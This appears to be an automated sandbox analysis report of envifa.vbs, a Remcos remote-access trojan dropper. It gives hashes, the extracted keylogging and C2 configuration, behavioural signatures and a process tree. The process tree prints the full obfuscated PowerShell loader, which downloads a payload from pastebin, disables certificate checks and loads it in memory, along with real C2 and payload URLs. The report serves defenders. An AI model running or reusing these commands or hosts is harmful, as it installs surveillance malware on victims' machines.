Analysis

  • max time kernel
    299s
  • max time network
    298s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25-09-2024 06:57

General

  • Target

    envifa.vbs

  • Size

    4.0MB

  • MD5

    b9b5d25eb96b7de9629b3344aaca4d71

  • SHA1

    e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834

  • SHA256

    f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

  • SHA512

    69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3

  • SSDEEP

    96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcos2024fin.duckdns.org:4576

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-JKUC8S

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3608
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3588
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:2032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    3b07daf14dc0816fe631a6cf000e7056

    SHA1

    0accf3120f1dbb142e64b4c3ec6bc1a46b3a2485

    SHA256

    5cd4009e1549a0f02b50c7e559b83b5668dc259eb6c76993da55f895894cc9d9

    SHA512

    69c97c011702545f6bafb4086313e1b6d0bed67a8357fba4328fae273cd4849e8cb756cf61e1d9a21d919b752758e0392c4952b88d9c186fa4b24a41621a5498

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    7f803908e5595ac7805479ffa4f4fc41

    SHA1

    42e1ba3a6f437dfcdaa03d714d56e807910fe69b

    SHA256

    37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d

    SHA512

    a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    3ca1082427d7b2cd417d7c0b7fd95e4e

    SHA1

    b0482ff5b58ffff4f5242d77330b064190f269d3

    SHA256

    31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

    SHA512

    bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvwo5vwf.5yd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2032-50-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-82-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-120-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-115-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-113-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-24-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-108-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-107-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-32-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-30-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-56-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-37-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-34-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-38-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-44-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-101-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-57-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-95-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-102-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-49-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-62-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-63-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-68-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-70-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-75-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-76-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-81-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-94-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-88-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2032-89-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3588-23-0x0000029CE9320000-0x0000029CE932A000-memory.dmp

    Filesize

    40KB

  • memory/3588-21-0x0000029CE9310000-0x0000029CE931A000-memory.dmp

    Filesize

    40KB

  • memory/3608-12-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

    Filesize

    10.8MB

  • memory/3608-11-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

    Filesize

    10.8MB

  • memory/3608-9-0x000001277F7B0000-0x000001277F7D2000-memory.dmp

    Filesize

    136KB

  • memory/3608-33-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

    Filesize

    10.8MB

  • memory/3608-10-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

    Filesize

    10.8MB

  • memory/3608-0-0x00007FFFC5383000-0x00007FFFC5385000-memory.dmp

    Filesize

    8KB

  • memory/3608-22-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

    Filesize

    10.8MB